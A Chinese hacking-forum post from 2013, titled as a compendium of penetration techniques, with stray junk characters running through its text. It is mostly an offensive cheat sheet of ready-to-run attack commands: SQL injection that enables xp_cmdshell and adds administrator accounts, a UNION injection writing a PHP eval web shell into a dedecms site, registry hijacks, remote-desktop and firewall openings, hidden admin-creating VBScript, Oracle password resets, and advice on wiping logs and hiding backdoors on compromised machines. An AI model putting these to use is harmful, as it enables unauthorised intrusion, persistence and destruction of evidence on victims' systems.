找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 5099|回复: 0
打印 上一主题 下一主题

渗透技术大全

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:24:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

4 H+ q2 Z. |" B+ H+ h2 Q8 ?1.net user administrator /passwordreq:no2 c! V% ^9 i* ?! `! M, h
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
4 V" y2 k5 l+ [; J7 S2.比较巧妙的建克隆号的步骤
6 H( W5 `# p) H+ K+ Z- `0 I1 ]先建一个user的用户
2 n( w- T+ a1 X然后导出注册表。然后在计算机管理里删掉
2 g$ c. @% @" @/ Z- U在导入,在添加为管理员组# K2 o7 P4 F2 h5 ~. e5 q! G
3.查radmin密码/ G9 i* l  B1 s  U+ A5 A
reg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg4 N/ ]4 d7 I1 w8 ?: s/ C' q
4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]
/ O6 _8 p& f* l6 u+ M5 c建立一个"services.exe"的项! ~7 l: o( e9 w! t% B
再在其下面建立(字符串值)
6 H6 a) e5 c7 j: Z% S& m. u键值为mu ma的全路径
" n5 B. D7 o! ?1 v, w5.runas /user:guest cmd
; {/ v4 h4 k; n  \8 Q% M测试用户权限!
9 K- }: v; l5 x: K! h: ~' _6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?% j) c  Y- Y6 {8 v: b4 N4 @
7.入侵后漏洞修补、痕迹清理,后门置放:
+ [, v: R; t8 E( g$ J/ O& ?基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门- R) b+ m! i) r
8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
; j' i7 b7 \7 }% f9 A" c, ]
0 c1 n+ f7 M/ O$ b! C  |9 S! O8 b: afor example9 X* v6 _. X/ S) E# g

' e1 C7 |# o8 `( ~declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
5 b& P  ~& W! G$ c% W0 {' L; \" k% f. W/ T% F) I
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'* m! _' p& B3 Q+ Z, E; q) R0 e6 \) W7 J

" A. u; x% d* g, g$ e9:MSSQL SERVER 2005默认把xpcmdshell 给ON了' Z6 ^- G9 }% u
如果要启用的话就必须把他加到高级用户模式0 t- F8 m9 ?0 o: l. c. `, `! j' J
可以直接在注入点那里直接注入6 N  D( V9 m0 P; `5 j. L3 m
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--' b  A% e) C4 k! r+ J
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
( U# `$ w; Z: X) Q3 |5 I或者3 J- c4 ^# [0 c- S7 f" W, {* {+ d
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'  A# G! k/ G6 Q
来恢复cmdshell。3 w; @' m" w/ Y

( K* \$ b" K; q5 Z! p分析器
$ |2 |! ~# \7 Y- ^- n& TEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
% R3 X5 S$ r. M2 d: F然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")! P$ O3 F  A" B
10.xp_cmdshell新的恢复办法
$ k* l% p3 l  `. J: K' Wxp_cmdshell新的恢复办法/ w+ V: [* _4 _; Q# b
扩展储存过程被删除以后可以有很简单的办法恢复:5 _' f/ g. u5 w; P# V  d% q7 B7 L  M
删除
! u: C8 z( {5 N) K, sdrop procedure sp_addextendedproc: ?: Z1 }6 n' V: w* W2 Z
drop procedure sp_oacreate
+ o+ _4 ^2 w  ?% c0 \exec sp_dropextendedproc 'xp_cmdshell'
% \$ I/ E+ \5 o# N! |# @5 |5 b
/ C0 N5 O- Z4 n3 P4 [. ]5 R恢复
  @& y! O* w3 d; ^dbcc addextendedproc ("sp_oacreate","odsole70.dll")
3 o2 ?7 @6 R9 L6 D2 C! M* q3 t7 udbcc addextendedproc ("xp_cmdshell","xplog70.dll")5 _. P; |5 e2 J2 E$ O  |! r5 h

5 Y- R$ I) t/ @+ Y2 W! {3 E这样可以直接恢复,不用去管sp_addextendedproc是不是存在
6 _; ]" \+ F$ \) N7 `% s% h- w% a" l3 E
-----------------------------) {2 ^5 W+ n. f! _* v% C# f# M# N
& Z4 P1 n8 N( y2 h" z
删除扩展存储过过程xp_cmdshell的语句:
6 w8 ~) F  V$ Nexec sp_dropextendedproc 'xp_cmdshell'9 E6 ^& L* O2 J
* H# q) f0 T5 K
恢复cmdshell的sql语句
& u0 E. p7 t! t9 ^exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
" R- g' {! ]- M! P$ ?& S) b9 V; w* \$ `' E* E
2 j* [) l$ l+ s' O
开启cmdshell的sql语句+ G: M) h6 N* V( ^* c& B

* W. V; t* V8 g/ b9 Q0 K0 nexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'! G* r( l. G9 B  N& R% _& u1 c4 G

6 f# [7 E! q: i0 S判断存储扩展是否存在: H7 q  R# A2 d' i
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'3 X0 @3 c5 ~0 N$ k
返回结果为1就ok/ s( s$ t" s0 ?% P" y. C
+ C8 G8 f7 a) M+ m# H. ~
恢复xp_cmdshell  f& n' I9 k" l9 C+ S+ G
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
8 \' p+ M) a. V6 s返回结果为1就ok2 R& E3 E9 r9 u
9 F% e4 F" s, x3 ~
否则上传xplog7.0.dll
+ P. h, _. r. x& x5 cexec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'& C5 C0 B' ?+ J/ Q1 O
' D% ^, ~) b( A+ T6 e
堵上cmdshell的sql语句! {5 r! c, T4 |" f
sp_dropextendedproc "xp_cmdshel
  T" y$ O6 [! X0 l" T- ~-------------------------2 R& `, P/ g, }8 c  B& l: m  r7 h
清除3389的登录记录用一条系统自带的命令:- e1 v1 v: [6 ?; ~3 ]0 c: x
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f$ j# A% @8 f. R) L, _4 Q$ K
6 o0 I/ e0 R  Q- b( m2 L
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件9 t* m, A8 v6 e+ Q. Q& h- Z
在 mysql里查看当前用户的权限
. U9 r2 }- [( M  L3 |- jshow grants for  
$ n$ [4 ^3 y- ~: _$ y& Z+ n7 ]& L& u6 m3 T9 k
以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。" B9 _% k- G3 }4 G# u# P

8 S. p8 \7 _, ?7 Q. C2 I* E& B& V
Create USER 'itpro'@'%' IDENTIFIED BY '123';
- F) U+ T/ x$ W8 B5 V$ f4 Z2 L$ k9 @$ o% \6 ]# R5 h* Y( m
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION- ^8 S, b! {. [+ t- g5 ]

  k) i+ w/ c. C$ rMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
' D/ ~% q8 h& O. C# W, I( v
2 N# Z7 \( X" T& j& fMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;+ h2 z- k0 H$ h6 J7 ~

  V* G7 X# \6 ]) [% {$ M搞完事记得删除脚印哟。
7 w+ ]' v$ J, K3 T- j; I! n6 E/ `6 ^; h9 t7 G3 f, ?9 c
Drop USER 'itpro'@'%';  i5 I  G' c# r1 ~
# U$ B$ P, f; M) W2 T3 t
Drop DATABASE IF EXISTS `itpro` ;  k; l; m5 P, l- z! _
# m) @# L/ M& N; R  ~
当前用户获取system权限/ D0 c! P" v) l2 x$ x  p
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact: t1 J) C: \# A# s$ R( Z% K$ s) q
sc start SuperCMD" A( r$ e! c- B! P# ]6 i
程序代码0 C7 n! ?0 K5 e0 S$ F' ?3 l/ Z% u. y
<SCRIPT LANGUAGE="VBScript">. h- B# o% K; m7 w% G7 r' g
set wsnetwork=CreateObject("WSCRIPT.NETWORK")# _* ]6 k* g, k4 |
os="WinNT://"&wsnetwork.ComputerName3 r- z- {! ?! F
Set ob=GetObject(os)
1 M% A) I( A; G* S7 }% HSet oe=GetObject(os&"/Administrators,group")3 ~3 I+ [! Q0 T" Y- P% M
Set od=ob.Create("user","nosec")
  T. F- ^6 o7 X; T* |od.SetPassword "123456abc!@#"! k: `8 {% ~6 n2 |% ~2 T- f5 c; |
od.SetInfo1 g7 N+ u9 ^4 P. Q
Set of=GetObject(os&"/nosec",user)% ]( D" }* U' n, {% X
oe.add os&"/nosec"
. W8 P# Y: W3 P4 a6 m( h% H</Script>2 L5 o( \+ e( z  f: L
<script language=javascript>window.close();</script>5 M7 d) U# |4 U

) {# z4 T; y1 T5 i$ |- V3 Y* t2 d0 h, q, s& ?' A
' t  R( p: T/ g- D
3 k. V+ b' b# _( Q0 [& K/ R" w" C
突破验证码限制入后台拿shell
, [; N" |5 V$ L' `程序代码
8 [, V- U* d! m7 tREGEDIT4 5 x* N3 M! b8 \' y/ _
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
; c, V3 J7 k/ m  |5 u  D9 C"BlockXBM"=dword:000000009 K4 u9 Z; C. Q
$ r5 g# ^* |1 d( i
保存为code.reg,导入注册表,重器IE) G2 g* F4 X# \/ {
就可以了
" L# g2 e9 o) t  ^" W. \union写马
0 {# Q1 c0 X; z2 c0 W6 c程序代码
7 @& Y2 V, @' N0 ^www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*+ h6 S6 n5 d8 T6 T5 q

' e! ?/ ?3 m- s. `应用在dedecms注射漏洞上,无后台写马$ N. |9 v  O! Y5 w3 N, k; O
dedecms后台,无文件管理器,没有outfile权限的时候
$ [0 K7 r3 @, \9 d/ H! K6 _0 c在插件管理-病毒扫描里
& c8 k% u8 z! B* b写一句话进include/config_hand.php里- |1 M4 d/ p5 a5 O- p5 o) E0 G
程序代码
  K# G; i% j% C, n& K) M>';?><?php @eval($_POST[cmd]);?># w0 V# n! @+ S: g6 S4 |  ^
: v) q& Z# y9 v$ }1 s% n3 l/ v/ \( G

# |0 E  ?* l+ }# C" h如上格式
0 F& H6 i* u/ }* R1 ~) Q1 \+ l7 \: ~2 V9 q. w/ o- F* B! A0 D7 w
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
1 q+ l( r, V$ m# O) r程序代码! S8 n. \6 I# d1 S
select username,password from dba_users;
1 D3 g$ i  b" N; `. h6 E9 `4 N
0 S; e5 E9 t# F8 c" k$ U8 E, T# ?& W' h! K; t7 f. l/ J
mysql远程连接用户. ?) g/ S$ X4 A0 W% G
程序代码
9 O9 P- ^( O+ D+ X9 `- R+ f9 @7 j4 N, w1 z: k$ D
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
8 A. ^1 K' E5 Q3 D9 c) U' b" p, MGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION) l  b, H# P8 s5 ]+ L% k; s
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 02 f3 b. t# ^# o
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
" A: S' B" E# u: N) y* a2 V
  W0 `) c7 Z' p. y" `
$ A/ P' a! K. k( ^- H# {( l# Z
8 x- o; K8 {+ K% \5 R$ c% \( o: z4 m: Y( ^) F4 ~+ O. u
echo y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
; v, y& G6 I& q" C5 ?" u1 T1 y5 B
- B: l/ z  Y5 o/ `* z5 Y1.查询终端端口
5 Q# _- Y3 }) G2 i8 R1 G2 g" N' a) I/ N2 G5 L* L3 q0 v2 `
xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber2 T9 Q" P, ?* x' c; ]
- L9 f3 ]; w) T) p" w' `1 f, \0 g
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"9 n% Y) H0 L) R1 ]: w& w
type tsp.reg( |5 L  \) x) ~/ |' O8 r) o9 i
$ ]9 P+ ~7 _3 ], G
2.开启XP&2003终端服务
3 ?+ u  x" Q8 j/ T; ?( i+ u
/ P: w' k) U! |
8 Y) E( w7 }3 a, Z! a6 x, j' F  vREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
0 k! K0 h! ^# t% o* T1 C" ~
: ~5 _( X* d( \# K# ?( A. X" @  M6 C1 d8 y5 j' ?* s  l
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f$ p# _) r" r% }
  v# |6 O. _5 }0 I' w7 l/ A4 G( y
3.更改终端端口为20008(0x4E28)1 z3 f5 m1 [8 i& @$ L0 y
* _, }8 X' t# z0 ^% g; L1 R/ I( f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
( x; p; {( A- v1 n& O- ^5 {" m: q, V3 V" x% V/ T* z
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f2 ?6 j$ W; |" O1 q7 E  k
; v5 U& H! @" e/ ?
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
5 i5 K2 V# G; x7 k6 k# g) b% P7 E) p
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
$ c# n1 P) ~* Q7 R4 x& S. E
% x  D7 n! Y; w, v9 g$ x, X5 X8 D( Y7 k: {9 l5 p  S
5.开启Win2000的终端,端口为3389(需重启)
( k( t! L7 ~. B- ?, w& n
6 e8 C" E* R* d# `) b9 x  lecho Windows Registry Editor Version 5.00 >2000.reg
( |1 B+ P2 r4 o+ m$ k( G" |5 b, secho. >>2000.reg
2 N2 f$ J* |/ {) V8 }+ _# Fecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg ) _5 d0 u0 n- g0 d6 y$ P
echo "Enabled"="0" >>2000.reg ) X  {  _, @+ w$ M4 I0 u
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
0 D  t( j: {9 kecho "ShutdownWithoutLogon"="0" >>2000.reg ( \+ ^& v. C3 S+ s
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg ) I# J( h0 }0 p1 b+ ?$ ~: p, _
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg
+ M4 C# b* p5 }" C2 k$ recho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg . x2 ^0 K- j# V
echo "TSEnabled"=dword:00000001 >>2000.reg
( G& |7 C; k% @3 decho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
, B9 j  m; k5 ?6 Gecho "Start"=dword:00000002 >>2000.reg
& z5 h: Z, {& Z! cecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
1 i* W4 A2 I; f4 Kecho "Start"=dword:00000002 >>2000.reg ; m9 ]* _. k+ `8 l! Y; j
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg ; i& v9 h8 n/ F- q( f) j5 Q- T
echo "Hotkey"="1" >>2000.reg 5 M* S0 {" w+ k
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg , V1 L8 q, S* B8 _- W0 n  Y  E( u
echo "ortNumber"=dword:00000D3D >>2000.reg 0 D" O$ t7 A% V
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
! u  f5 Z0 k9 ~6 J1 Xecho "ortNumber"=dword:00000D3D >>2000.reg8 _! u2 }) _1 w% m: o: i
) E* c& Y7 d: P% j7 \- z- s
6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)9 k$ K0 X. a: ]& t' Z
+ c$ V' _: n- @3 S1 z! K( M# S# n2 _
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf/ @8 ~7 `& [# y# e- F
(set inf=InstallHinfSection DefaultInstall)3 H  h" S3 A% {: `" v9 V' c" T6 M
echo signature=$chicago$ >> restart.inf
9 N' J0 v. [. a! Jecho [defaultinstall] >> restart.inf
8 H+ B( Y: V+ e& M. E1 ]# Arundll32 setupapi,%inf% 1 %temp%\restart.inf4 ~( R% C+ j; [- ?# C9 M! l' B

8 H+ R* @# F1 f9 L- T0 ]# g1 G; f9 y) {% O* r0 N1 A
7.禁用TCP/IP端口筛选 (需重启)( c2 W/ ^  f, G/ Y5 x- s: m

5 X  M8 p& T# q0 z* [& sREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f4 e% M* Q, E4 q$ a2 W9 Y; |
7 D) j$ a# ]3 @) n
8.终端超出最大连接数时可用下面的命令来连接- i: g0 T1 \& T  J" l8 ~, {! M) a
3 I: a7 x3 Y0 R; v: s- Q
mstsc /v:ip:3389 /console2 Y% g  m3 I0 n. z  j+ [

8 i- L4 g% f* y9 ^9 i& s7 O9 {9.调整NTFS分区权限
  q9 M% x0 n+ d5 |$ r! m0 l# f* B4 Z3 P
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)5 G+ b+ v' S% C" q0 I( ]" O/ I: Z; i

0 X$ m; y  Z( c# O' Z0 bcacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)$ g! U$ E' m$ x, g( n+ s# A' O

. ?& D  v7 L) i, ]2 s/ o5 ]------------------------------------------------------
. V) `% N3 l% p. [+ b- s3389.vbs
& n5 N3 T, n+ h- j7 V5 U/ b$ R; D% LOn Error Resume Next
- E5 x4 ~) z, C7 g- ~const HKEY_LOCAL_MACHINE = &H80000002* ?; U; F$ @& l3 w
strComputer = "."  @# `5 v/ M- S  G/ o3 U' ]
Set StdOut = WScript.StdOut
/ `% o) I" F& [Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
+ ~3 J) t) T( c5 bstrComputer & "\root\default:StdRegProv")5 c4 ~/ R6 ?6 k6 O" Y
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
. t) j' Q& O8 Y" [$ voreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
$ Y+ S, F* W# Q* H7 xstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"! u' }" k# n9 W9 A) e4 L4 C4 W
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath( T1 f2 q  N2 [2 d
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
' B$ N6 ~6 q+ m* q/ i- v  astrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"0 u/ @$ n$ h0 Y  F6 j
strValueName = "fDenyTSConnections"( T+ p- w* L& E- a% r
dwValue = 0
7 E2 x4 l4 k/ Moreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
2 ~$ @, `" g/ U& \+ x  f. RstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"! m2 C3 c) u; x& l' B
strValueName = "ortNumber"+ ?1 N2 m' w4 q0 t+ g9 I, k$ |
dwValue = 3389
( C2 L; u; N" Q' M# o: loreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue! N% m! J* {% J$ e$ [
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"* y! T1 z7 }/ k* [7 e' t& T. |
strValueName = "ortNumber"0 E2 j7 c% z0 c( Z
dwValue = 3389
8 e! V; k, J7 @: L# \( y! Xoreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
: w- L  A/ x9 F: ?& DSet R = CreateObject("WScript.Shell")
' N- [$ B% p" LR.run("Shutdown.exe -f -r -t 0")
0 p2 t( v* R8 r1 N7 H5 b
$ }& a% G2 U9 a6 K# U% H9 I5 H- V删除awgina.dll的注册表键值& M3 r+ G9 x% A! q( A" ?1 Y
程序代码  n, E4 C" S4 m/ X9 y) I

: S2 D1 ~9 F0 e  ~reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f/ o2 i3 r' X  H! c  v
( u: K; s: t2 W! ^: F! G

& \6 ]9 K. F' P( U- `4 {/ Q' r# M( d6 P3 I: X  Q" l

  B) v% L9 K: }1 c程序代码
6 D$ Y2 j+ c, s. N7 NHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash3 f2 j& O% A! v$ E4 R. ?
# {4 b* |- L( N& }+ L" G2 k7 Y! E" `
设置为1,关闭LM Hash
  W. I+ Z. T6 G- w. N, K4 y0 T7 R3 k5 ^0 e1 E$ K0 k+ v
数据库安全:入侵Oracle数据库常用操作命令
1 O( Z* S0 x/ @最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
- n. }5 _" L2 |: {, R5 Q1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
# Y& B8 v& @: i! h5 f8 ]2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
1 R4 R# P% W, l2 N! }; W4 T9 s) L: ]3、SQL>connect / as sysdba ;(as sysoper)或, p# c) [5 |: P. v6 [1 v' Z7 j
connect internal/oracle AS SYSDBA ;(scott/tiger)
5 c& {' f( M& Xconn sys/change_on_install as sysdba;, u% L0 ~' t# P1 T; O
4、SQL>startup; 启动数据库实例
6 `$ H$ x/ K/ X& B# J+ A# o8 J5、查看当前的所有数据库: select * from v$database;
+ ?5 G" a0 m2 s7 D6 o6 c" ~select name from v$database;# ^; m0 d1 ^( j! c, w/ c/ Y, c, l
6、desc v$databases; 查看数据库结构字段
  m- J0 N# S. H8 k7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:) y  T" X9 m& Z1 s: ~1 g( H
SQL>select * from V_$PWFILE_USERS;
8 f" H& O& F4 S9 Q9 J1 N4 n0 _3 NShow user;查看当前数据库连接用户2 n! b* r. E/ J; Z0 B- E
8、进入test数据库:database test;
9 o# Z. }& U# s! P5 i$ @9、查看所有的数据库实例:select * from v$instance;
0 Q# S( }% G7 u4 w" r如:ora9i
2 p5 v& j' L: E10、查看当前库的所有数据表:: A3 l- h/ v9 ^( B0 T4 e! ]
SQL> select TABLE_NAME from all_tables;
3 y6 L, n; k# r, j6 G9 }select * from all_tables;
% I$ y( E1 r% U8 Q+ nSQL> select table_name from all_tables where table_name like '%u%';
6 u: j/ E7 F4 V' s7 Q" T. r- uTABLE_NAME
' ?' W4 h3 A( a/ ?/ G+ P+ ]------------------------------0 G$ g: @9 y# A& N9 |
_default_auditing_options_% ]0 X6 X; c7 A* |5 Y& E
11、查看表结构:desc all_tables;
' p8 j# C& t2 f* |' G12、显示CQI.T_BBS_XUSER的所有字段结构:7 }& |2 d* \& [7 [- n6 n" Z1 Q
desc CQI.T_BBS_XUSER;
+ U% \! L" x4 i13、获得CQI.T_BBS_XUSER表中的记录:: V' v! d( ]" h* \+ r
select * from CQI.T_BBS_XUSER;
% h3 q$ Y7 L7 h; n8 V* ]3 ~+ l+ d14、增加数据库用户:(test11/test)
3 c+ l( ]$ B8 c1 p4 v6 v( Vcreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;+ l7 ~8 d! A' g5 ]& G) u8 q* I
15、用户授权:' b  z+ Z1 h( a+ Z( ?, l! E
grant connect,resource,dba to test11;0 |0 v, L3 o4 L8 Q, R# {. H1 R
grant sysdba to test11;. E( @) \! z) W8 }
commit;
8 M) o: [# ?+ }' U( }) k16、更改数据库用户的密码:(将sys与system的密码改为test.)* R) o, B7 e& Q- ]# y
alter user sys indentified by test;1 ]3 O# ~% }' |6 `
alter user system indentified by test;
5 J, u# x) `& |8 A3 ?8 o
; e2 t0 F+ a" c& g) V+ A! SapplicationContext-util.xml
9 ~7 y7 s+ v5 ?; h* kapplicationContext.xml
2 u) i, p% `8 Astruts-config.xml+ T8 B  I/ E7 X8 K: m/ Y2 L# @" d& q
web.xml
* H* Q3 E+ N0 G9 D0 {server.xml
; W0 A* l% w/ Y* a# h2 g3 htomcat-users.xml. c  D2 ?) p' \) s# K" P
hibernate.cfg.xml! _# M' o4 g8 C" D' t* A% |
database_pool_config.xml
! e4 a' c" p, @% p% R9 Y$ y1 Y* c( D) `0 z* u
) Z! q8 M# K9 p7 w* f6 I1 Q! D2 T
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置& C( E; M* M, Q9 n% C0 y& e
\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini
0 W3 y" d/ s- Z\WEB-INF\struts-config.xml  文件目录结构2 l$ h$ q7 ?1 k% T! Q
6 P) w- z2 V+ `. a
spring.properties 里边包含hibernate.cfg.xml的名称
: D/ w- @$ p: t+ [. c7 c) f' b( |
  L% |5 \. \/ U8 L; A1 L/ A& e/ J$ J. E9 C5 ], q
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
3 R% n* J, d/ n  n7 [* G4 ?+ `' W1 r3 d  [; G" s+ ]" m! W0 I; ^" H, v
如果都找不到  那就看看class文件吧。。9 E2 C: j4 c+ j
3 I, i2 c2 ^! y! W
测试1:
3 x2 K+ u" @3 b( H# rSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
, j8 @4 h. i6 |( v6 q6 ]( V! [7 g4 S; x* P& P  l. B
测试2:, ~/ X+ f2 Z0 Y; n. a- d. V

( S- W# ?* b; U4 _$ \create table dirs(paths varchar(100),paths1 varchar(100), id int)( z! H! P; h' x* K4 K) Q$ Q& ~

. e  h2 y# p$ r  r! N6 X! Mdelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
; l9 J' s0 Z! Y; q6 K# X& m8 F6 q8 r9 I- X, r) M
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
1 X7 X  i1 |2 ~  i" D% X9 h
' M3 c% ^. A3 N, W; P! [( _查看虚拟机中的共享文件:* X9 q  Y( o2 [9 p
在虚拟机中的cmd中执行
1 I/ G- |. H7 q\\.host\Shared Folders) P8 l( w* \% W0 d3 g: j- I' j

; x6 N1 l0 P" p+ ~- T1 l  Ucmdshell下找终端的技巧3 z2 f" @1 b4 l! ~5 Q& E+ w9 Y
找终端:
. G& F. |% T% o' l# [第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! + X1 ]7 c% d1 [3 Q
   而终端所对应的服务名为:TermService
